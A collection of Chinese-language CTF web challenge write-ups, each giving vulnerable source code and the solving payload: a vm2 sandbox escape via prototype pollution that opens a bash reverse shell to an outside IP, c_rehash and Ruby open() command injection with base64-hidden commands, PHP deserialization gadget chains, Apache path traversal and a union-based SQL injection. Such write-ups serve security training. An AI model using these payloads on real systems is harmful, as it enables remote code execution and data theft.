1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 const express = require ('express' );const app = express ();const { VM } = require ('vm2' );app.use (express.json ()); const backdoor = function ( ) { try { new VM ().run ({}.shellcode ); } catch (e) { console .log (e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object ;const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge ({}, a); } app.get ('/' , function (req, res ) { res.send ("POST some json shit to /. no source code and try to find source code" ); }); app.post ('/' , function (req, res ) { try { console .log (req.body ) var body = JSON .parse (JSON .stringify (req.body )); var copybody = clone (body) if (copybody.shit ) { backdoor () } res.send ("post shit ok" ) }catch (e){ res.send ("is it shit ?" ) console .log (e) } }) app.listen (3000 , function ( ) { console .log ('start listening on port 3000' ); });
有个vm2啊,可能跟vm2的沙箱逃逸有关!
发现一个merge函数,原型链污染的常客,大概就是在页面post传递一个json数据,会经过json.parse函数解析,然后再通过clone()函数复制到copybody变量中,最后判断该变量的shit值是否为真,然后调用backdoor()函数在VM2沙箱中执行{}.shellcode属性。
backdoor函数利用vm2执行shellcode,这个shellcode其他地方没有得传值,所以我们利用原型链污染传递shellcode,污染成VM2沙箱逃逸的payload即可执行任意命令。
1 {"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >&/dev/tcp/156.238.233.113/4567 0>&1'\").toString();"}}
拿下,当初vm2没看啊!!
[鹤城杯 2021]EasyP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'utils.php' ;if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if ($guess === $secret ) { $message = 'Congratulations! The flag is: ' . $flag ; } else { $message = 'Wrong. Try Again' ; } } if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); } if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){ exit ("hacker :)" ); } if (isset ($_GET ['show_source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }else { show_source (__FILE__ ); } ?>
1 http://node4.anna.nssctf.cn:28575/index.php/utils.php/%81?show[source=1
好像也可以url编码绕过?!
[FSCTF 2023]签到plus 扫源码扫到一个shell.php
然后可以看到一个假的flag
去查一一下这个php版本,发现有漏洞
PHP<=7.4.21 Development Server源码泄露漏洞
PHP<=7.4.21时通过php -S
开起的WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码
https://blog.csdn.net/weixin_46203060/article/details/129350280
https://buaq.net/go-147962.html
1 2 3 4 5 原理: 这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么 第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php) PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录,它会检查是否存在索引文件,如index.php或 index.html,并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件 而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查,以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP,或者如果扩展名的长度不等于3,则该文件被视为静态文件,因此如果我们把第二个GET请求的内容改为类似1.txt的文件时,php源码将会被以静态文件的方式泄露(即直接访问获取)
直接拿下了。
[CISCN 2022 初赛]online_crt 给了我们源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import datetimeimport jsonimport osimport socketimport uuidfrom cryptography import x509from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import hashes, serializationfrom cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.x509.oid import NameOIDfrom flask import Flaskfrom flask import render_templatefrom flask import requestapp = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(16 ) def get_crt (Country, Province, City, OrganizationalName, CommonName, EmailAddress ): root_key = rsa.generate_private_key( public_exponent=65537 , key_size=2048 , backend=default_backend() ) subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, Country), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province), x509.NameAttribute(NameOID.LOCALITY_NAME, City), x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName), x509.NameAttribute(NameOID.COMMON_NAME, CommonName), x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress), ]) root_cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( root_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=3650 ) ).sign(root_key, hashes.SHA256(), default_backend()) crt_name = "static/crt/" + str (uuid.uuid4()) + ".crt" with open (crt_name, "wb" ) as f: f.write(root_cert.public_bytes(serialization.Encoding.PEM)) return crt_name @app.route('/' , methods=['GET' , 'POST' ] ) def index (): return render_template("index.html" ) @app.route('/getcrt' , methods=['GET' , 'POST' ] ) def upload (): Country = request.form.get("Country" , "CN" ) Province = request.form.get("Province" , "a" ) City = request.form.get("City" , "a" ) OrganizationalName = request.form.get("OrganizationalName" , "a" ) CommonName = request.form.get("CommonName" , "a" ) EmailAddress = request.form.get("EmailAddress" , "a" ) return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) @app.route('/createlink' , methods=['GET' ] ) def info (): json_data = {"info" : os.popen("c_rehash static/crt/ && ls static/crt/" ).read()} return json.dumps(json_data) @app.route('/proxy' , methods=['GET' ] ) def proxy (): uri = request.form.get("uri" , "/" ) client = socket.socket() client.connect(('localhost' , 8887 )) msg = f'''GET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ''' client.send(msg.encode()) data = client.recv(2048 ) client.close() return data.decode() app.run(host="0.0.0.0" , port=8888 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package mainimport ( "github.com/gin-gonic/gin" "os" "strings" ) func admin (c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname" , "" ) newname := c.DefaultQuery("newname" , "" ) if oldname == "" || newname == "" || strings.Contains(oldname, ".." ) || strings.Contains(newname, ".." ) { c.String(500 , "error" ) return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200 , newname) return } c.String(200 , "no" ) } func index (c *gin.Context) { c.String(200 , "hello world" ) } func main () { router := gin.Default() router.GET("/" , index) router.GET("/admin/rename" , admin) if err := router.Run(":8887" ); err != nil { panic (err) } }
主要看一个python文件和一个go文件,先分析一下功能点
先看python文件,/getcrt路由是生成一个crt证书并return给我们,/createlink是一种命令执行
1 c_rehash static/crt/ && ls static/crt/
利用了c_rehash进行执行。这里c_rehash其实存在CVE-2022-1292。
c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接,是当用户可控文件名时的命令注入
他会执行文件名的内容,当文件名存在反引号时!
cve分析:
https://xz.aliyun.com/t/11703?time__1311=Cq0xRiqiuQDsD7CG7KGODcG7Fit34Eox
然后看/proxy,与自身的8887端口建立连接,8887端口对应go服务,将两种语言联系在了一起。这里的uri是可控的,我们可以通过CRLF构造任意数据包。我们也必须要CRLF来构造,因为存在c.Request.URL.RawPath != “” && c.Request.Host == “admin”
go的RawPath特性:
通过阅读go net库的源码 我发现在go中会对原始url进行反转义操作(URL解码) 如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空
因此我们只要随便对一个斜杠进行url编码即可。
然后就可以构造恶意数据包了。然后通过表单传入uri即可
1 2 3 4 5 6 7 8 9 10 import requestsimport urllib.parseuri='''/admin%2frename?oldname=b58a6a37-6cc5-46bf-a98f-d589a9957a1f.crt&newname=`echo%20bHMgLw==|base64%20-d|bash>flag`.crt HTTP/1.1 Host: admin GET /''' gopher = uri.replace("\n" ,"\r\n" ) payload=urllib.parse.quote(gopher) print (payload)
此处的作用是ls /
成功后/createlink一下让他执行命令。
然后去/static/crt/访问即可
同理可读flag
1 NSSCTF{ee493ebd-0ef5-4594-baa9-ec7ad1a5f601}
[第五空间 2021]PNG图片转换器 给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 require 'sinatra' require 'digest' require 'base64' get '/' do open("./view/index.html" , 'r' ).read() end get '/upload' do open("./view/upload.html" , 'r' ).read() end post '/upload' do unless params[:file ] && params[:file ][:tempfile ] && params[:file ][:filename ] && params[:file ][:filename ].split('.' )[-1 ] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest : :MD5 .hexdigest(Time .now.to_i.to_s + params[:file ][:filename ]) + '.png' open(filename, 'wb' ) { |f | f.write open(params[:file ][:tempfile ],'r' ).read() } "Upload success, file stored at #{filename} " rescue 'something wrong' end end get '/convert' do open("./view/convert.html" , 'r' ).read() end post '/convert' do begin unless params['file' ] return "<script>alert('error');location.href='/convert';</script>" end file = params['file' ] unless file.index('..' ) == nil && file.index('/' ) == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r' ).read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64 .encode64(res).gsub(/\s*/ , '' ) + "\";\n" rescue 'something wrong' end end
上传后的文件也只能是png后缀的,文件上传漏洞是不太可能存在的。
这里考察的是ruby的file open漏洞
将文件名构造成恶意payload即可。
1 file=|`echo+ZW52|base64+-d`;cat+1.png
1 NSSCTF{d95c546d-fb51-4696-b923-66d3758d20c6}
[GHCTF 2024 新生赛]ezzz_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 <?php error_reporting (0 );class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this -> apple = $a ; } function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } } class NoNo { private $peach ; public function __construct ($string ) { $this -> peach = $string ; } public function __get ($name ) { $var = $this -> $name ; $var [$name ](); } } class BasaraKing { public $orange ; public $cherry ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { $function = $this -> orange; return $function (); } public function __get ($arg1 ) { $this -> cherry -> ll2 ('b2' ); } } class UkyoTachibana { public $banana ; public $mangosteen ; public function __toString ( ) { $long = @$this -> banana -> add (); return $long ; } public function __set ($arg1 ,$arg2 ) { if ($this -> mangosteen -> tt2) { echo "Sakura was the best!!!" ; } } } class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } } class UesugiErii { protected $coconut ; protected function addMe ( ) { return "My time with Sakura was my happiest time" .$this -> coconut; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } } class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } } class MaiSakatoku { public $Carambola ; private $Kiwifruit ; public function __set ($name , $value ) { $this -> $name = $value ; if ($this -> Kiwifruit = "Sakura" ){ strtolower ($this -> Carambola); } } } if (isset ($_POST ['GHCTF' ])) { unserialize ($_POST ['GHCTF' ]); } else { highlight_file (__FILE__ ); }
看上去有点多,但是链子不长。
从后往前找,找rce的地方或者文件读取的地方。
1 2 3 4 5 array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); }
这东西怎么跟原生类的foreach这么像呢??查一下array_walk,发现是调用回调函数的一个函数
尾部找到了,往上找,
E类的get魔术方法,调用不存在的属性
1 2 3 4 5 6 7 8 9 class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this -> apple = $a ; } function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } }
链子结束:
1 E::__get() -> Heraclqs::__invoke() ->Sakura::__toString() ->Sakura::__destruct()
这里需要绕过的就是md5,很简单,我有脚本的。
然后需要注意的就是array_walk了!
先自己本地测一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );class E { public $e ; public function print ( ) { array_walk ($this , function ($Monday , $Tuesday ) { echo "Monday => " .$Monday ." | " ; echo "Tuesday => " .$Tuesday ." | " ; foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } } $a = new E ();$a ->e = "123" ;$a ->aaaa = "321" ;$a ->print ();
ok知道怎么利用了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class Sakura { public $apple ; public $strawberry ; function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } } class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } } class Heraclqs { public $grape ; public $blueberry ='5659' ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } } $sakura = new Sakura ();$sakura ->strawberry=new Heraclqs ();$sakura ->apple=$sakura ;$sakura ->strawberry->grape=new E ();$sakura ->strawberry->grape->SplFileObject ='/1_ffffffflllllagggggg' ;echo urlencode (serialize ($sakura ));
[NSSRound#4 SWPU]ez_rce 打开后页面里啥也没有,扫目录也没什么特别关键的信息。
看到一堆cgi??看上去像是任意文件读取,但是复制粘贴过去发现不行,看看框架。
Apache2.4.49,搜下有没有洞。
路径穿越
但我们直接试cgi-bin目录下是不可以的。
但是这个可以/cgi-bin/test-cgi
然后我们就可以
可以grep遍历
1 echo;grep -r "NSS" /flag_is_here
1 NSSCTF{5949084d-677b-43d8-ae0e-f156c491e4f2}
[ASIS 2019]Unicorn shop
这里先尝试id1,和价格2
这里显示商品错误
然后尝试id,1,2,3都是一样的错误
id=4时,输入1337的错误是only one char
只能输入一个字符
这里利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞
这里由于只能输入一个字符,所以这里利用了utf-8编码 。
两个不同编码的Unicode字符可能存在一定的等价性,这种等价是字符或字符序列之间比较弱的等价类型,这些变体形式可能代表在某些字体或语境中存在视觉上或意义上的相似性。
这里在compart网站上找一个大于1337的值,于是我们需要找到一个字符比1337大的数字
https://www.compart.com/en/unicode/
在搜索框中搜索thousand
这里我选择了罗马数字十万,数值是100000
utf-8的值是0xE2 0x86 0x88
这里直接使用utf-8的话是不行的
将utf-8的值中的0x变为%
%E2%86%88
[NSSRound#17 Basic]真·签到 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ ); include ('flag.php' ); if (isset ($_GET ['nss' ])){ if ($_GET ['nss' ] == 732339662 ){ assert ("is_numeric($_GET [nss])==0" ) || die ('oops!此路不通!!' ); echo $FLAG ; } else { echo "这里不是说了吗!!!必须是 732339662 (招新群群号!)" ; } }else { echo "啊?这是什么新型比较?" ; echo "<br/>" ; echo "是不是题错了啊" ; }
可以发现关键点是 $_GET['nss'] == 732339662
和 assert("is_numeric($_GET[nss])==0")
此处 assret 直接采用字符串 assert, 也就是说传入的变量会被直接解析出来拼接到代码中
弱比较的话只需要字符串前面是相同数字, 后面无论拼接了什么都不会管了
于是我们什么都可以构造, 比如 732339662) or (1
即可拿 flag
[NSSRound#16 Basic]了解过PHP特性吗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );highlight_file (__FILE__ );include ("rce.php" );$checker_1 = FALSE ;$checker_2 = FALSE ;$checker_3 = FALSE ;$checker_4 = FALSE ;$num = $_GET ['num' ];if (preg_match ("/[0-9]/" , $num )) { die ("no!!" ); } if (intval ($num )) { $checker_1 = TRUE ; } if (isset ($_POST ['ctype' ]) && isset ($_POST ['is_num' ])) { $ctype = strrev ($_POST ['ctype' ]); $is_num = strrev ($_POST ['is_num' ]); if (ctype_alpha ($ctype ) && is_numeric ($is_num ) && md5 ($ctype ) == md5 ($is_num )) { $checker_2 = TRUE ; } } $_114 = $_GET ['114' ];$_514 = $_POST ['514' ];if (isset ($_114 ) && intval ($_114 ) > 114514 && strlen ($_114 ) <= 3 ) { if (!is_numeric ($_514 ) && $_514 > 9999999 ) { $checker_3 = TRUE ; } } $arr4y = $_POST ['arr4y' ];if (is_array ($arr4y )) { for ($i = 0 ; $i < count ($arr4y ); $i ++) { if ($arr4y [$i ] === "NSS" ) { die ("no!" ); } $arr4y [$i ] = intval ($arr4y [$i ]); } if (array_search ("NSS" , $arr4y ) === 0 ) { $checker_4 = TRUE ; } } if ($checker_1 && $checker_2 && $checker_3 && $checker_4 ) { echo $rce ; }
首先看num:
1 2 3 4 5 6 if (preg_match ("/[0-9]/" , $num )) { die ("no!!" ); } if (intval ($num )) { $checker_1 = TRUE ; }
不能匹配到数字,intval后又要等于1.
可以用非空数组绕过,?num[]=1这里的1不会被正则匹配到。
然后看这里:
1 2 3 4 5 6 7 if (isset ($_POST ['ctype' ]) && isset ($_POST ['is_num' ])) { $ctype = strrev ($_POST ['ctype' ]); $is_num = strrev ($_POST ['is_num' ]); if (ctype_alpha ($ctype ) && is_numeric ($is_num ) && md5 ($ctype ) == md5 ($is_num )) { $checker_2 = TRUE ; } }
md5绕过,找一个纯字母的和一个纯数字的反一下就好。
1 ctype=YcGyb&is_num=807016042
然后:
1 2 3 4 5 if (isset ($_114 ) && intval ($_114 ) > 114514 && strlen ($_114 ) <= 3 ) { if (!is_numeric ($_514 ) && $_514 > 9999999 ) { $checker_3 = TRUE ; } }
?114=1e9&514=99999999999a即可。
最后:
1 2 3 4 5 6 7 8 9 10 11 if (is_array ($arr4y )) { for ($i = 0 ; $i < count ($arr4y ); $i ++) { if ($arr4y [$i ] === "NSS" ) { die ("no!" ); } $arr4y [$i ] = intval ($arr4y [$i ]); } if (array_search ("NSS" , $arr4y ) === 0 ) { $checker_4 = TRUE ; } }
数组中不能匹配到NSS且数组的值被intval过了,不可能为NSS。此处有一个array_search,是弱比较,0==0绕过即可,NSS与数字比较时为0.因此array[]=0即可。索引也是0,符合。
[SWPU 2016]web400 源码没有给,只能去wp里面找了。
common.php
1 2 3 4 5 6 7 8 9 10 foreach (Array ("_POST" ,"_GET" ,"_COOKIE" ) as $key ){ foreach ($$key as $k => $v ){ if (is_array ($v )){ die ("hello,hacker!" ); } else { $k [0 ] !='_' ?$$k = addslashes ($v ):$$k = "" ; } } }
riji.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 if (@$_SESSION ['login' ] !== 1 ){ header ('Location:/web/index.php' ); exit (); } if ($_SESSION ['user' ]){ $username = $_SESSION ['user' ]; @mysql_conn (); $sql = "select * from user where name='$username '" ; $result = @mysql_fetch_array (mysql_query ($sql )); mysql_close (); if ($result ['userid' ]) { $id = intval ($result ['userid' ]); } } <?php @mysql_conn (); $sql1 = "select * from msg where userid= $id order by id" ; $query = mysql_query ($sql1 ); $result1 = array (); while ($temp =mysql_fetch_assoc ($query )) { $result1 []=$temp ; } mysql_close (); foreach ($result1 as $x =>$o ) { echo display ($o ['msg' ]); } ?>
api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 <?php require_once ("common.php" );session_start ();if (@$_SESSION ['login' ] === 1 ){ header ('Location:/web/riji.php' ); exit (); } class admin { var $name ; var $check ; var $data ; var $method ; var $userid ; var $msgid ; function check ( ) { $username = addslashes ($this ->name); @mysql_conn (); $sql = "select * from user where name='$username '" ; $result = @mysql_fetch_array (mysql_query ($sql )); mysql_close (); if (!empty ($result )){ if ($this ->check === md5 ($result ['salt' ] . $this ->data . $username )){ echo '(=-=)!!' ; if ($result ['role' ] == 1 ){ return 1 ; } else { return 0 ; } } else { return 0 ; } } else { return 0 ; } } function do_method ( ) { if ($this ->check () === 1 ){ if ($this ->method === 'del_msg' ){ $this ->del_msg (); } elseif ($this ->method === 'del_user' ){ $this ->del_user (); } else { exit (); } } } function del_msg ( ) { if ($this ->msgid) { $msg_id = intval ($this ->msgid); @mysql_conn (); $sql1 = "DELETE FROM msg where id='$msg_id '" ; if (mysql_query ($sql1 )){ echo ('<script>alert("Delete message success!!")</script>' ); exit (); } else { echo ('<script>alert("Delete message wrong!!")</script>' ); exit (); } mysql_close (); } else { echo ('<script>alert("Check Your msg_id!!")</script>' ); exit (); } } function del_user ( ) { if ($this ->userid){ $user_id = intval ($this ->userid); if ($user_id == 1 ){ echo ('<script>alert("Admin can\'t delete!!")</script>' ); exit (); } @mysql_conn (); $sql2 = "DELETE FROM user where userid='$user_id '" ; if (mysql_query ($sql2 )){ echo ('<script>alert("Delete user success!!")</script>' ); exit (); } else { echo ('<script>alert("Delete user wrong!!")</script>' ); exit (); } mysql_close (); } else { echo ('<script>alert("Check Your user_id!!")</script>' ); exit (); } } } $a = unserialize (base64_decode ($api ));$a ->do_method ();?>
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 if (@$login ==1 ){ @mysql_conn (); $sql = "select * from user where name='$username '" ; $result = @mysql_fetch_array (mysql_query ($sql )); mysql_close (); if (!empty ($result )) { if ($result ['passwd' ] == md5 ($password )) { $user_cookie = '' ; $user_cookie .= $result ['userid' ]; $user_cookie .= $result ['name' ]; $user_cookie .= $result ['salt' ]; $cookies = base64_encode ($user_cookie ); setcookie ("user" ,$cookies ,time ()+60 ,'/web/' ); $_SESSION ['login' ] = 1 ; $_SESSION ['user' ] = $username ; header ('Location:/web/riji.php' ); } else { echo ("<script>alert('Password Worng?')</script>" ); } } else { echo ("<script>alert('Username Worng?')</script>" ); } }
forget.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (@$forget ==1 ){ @mysql_conn (); $sql = "select * from user where name='$username '" ; $result = @mysql_fetch_array (mysql_query ($sql )); mysql_close (); if (!empty ($result )) { if ($result ['salt' ]) { $check = base64_encode (md5 ($result ['salt' ])); $name = $result ['name' ]; header ("Location:/web/repass.php?username=$name &check=$check &mibao=$mibao &pass=$pass " ); } else { echo ("<script>alert('Get salt Worng?')</script>" ); } } else { echo ("<script>alert('Please check!!?')</script>" ); } }
首先来捋一下思路:riji.php中存在sql注入的点也就是id,但是id在之前被赋值了,有没有办法让他不进入if呢?
1 2 3 4 if ($result ['userid' ]) { $id = intval ($result ['userid' ]); }
那就是result[‘userid’]结果为空的情况下。
先利用api.php的一个接口函数从数据库删除我现在登陆的用户,使select * from user where name=’$username’查询为空,因为我们一直登陆,所以session会在服务器端保持我们登陆的状态(也就是说服务器端的session不会注销),所以if($_SESSION[‘user’])在注销之前一直为真,所以当我们在数据库中删除我们登陆的用户之后,则使:$id = intval($result[‘userid’]); 这里$id成为一个未被初始化的变量,然后就可以被任意覆盖。在common.php中进行变量覆盖。
在api.php中,如果我们想要删除用户,是需要check===1的,里面存在一个考点:hash长度拓展攻击。
我们先获取一下userid,待会要删除的userid
userid为2
然后去构造api的payload
1 2 3 if ($result ['role' ] == 1 ){ return 1 ; }
只有admin用户才能删除用户,那么我们构造如下payload:
1 2 3 4 5 6 7 8 9 10 11 <?php class admin { var $name ="admin" ; var $check ="f94ecd6b9856b048313eeb7d0179cb32" ; var $data ="1" ; var $method ="del_user" ; var $userid ="2" ; } $a =new admin ();echo base64_encode (serialize ($a ));
这道题salt直接告诉我们了,我们就不需要hash长度拓展攻击了。。。
1 Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiJmOTRlY2Q2Yjk4NTZiMDQ4MzEzZWViN2QwMTc5Y2IzMiI7czo0OiJkYXRhIjtzOjE6IjEiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiIyIjt9
然后去api.php删除用户。
但是我们发现
1 2 3 4 if (@$_SESSION ['login' ] === 1 ){ header ('Location:/web/riji.php' ); exit (); }
但是我们需要保持登陆状态,那么换个浏览器。。
1 http://node4.anna.nssctf.cn:28105/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiJmOTRlY2Q2Yjk4NTZiMDQ4MzEzZWViN2QwMTc5Y2IzMiI7czo0OiJkYXRhIjtzOjE6IjEiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiIyIjt9
user删除成功!
1 http://node4.anna.nssctf.cn:28105/riji.php?id=-1%20union%20select%201,2,(select%20flag%20from%20flag)
1 NSSCTF{bea1ea82-0c83-4722-8a89-a41b35a5c119}
[De1ctf 2019]SSRF Me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self .action = action self .param = param self .sign = sign self .sandbox = md5(ip) if (not os.path.exists(self .sandbox)): os.mkdir(self .sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self .checkSign()): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self .action, self .param) == self .sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' )
先理一下思路:最终的flag应该是在result.txt中的,那么就需要触发Task类的Exec方法,在/De1ta路由下可以实现,同时action、param、sign可控。Exec方法中有一个checksign方法,这其实就考察到hash长度拓展攻击了。getsign可以获取到一个已知的hash值。
我们访问/geneSign路由可以获取一个hash值,secert_key+scan的哈希值。
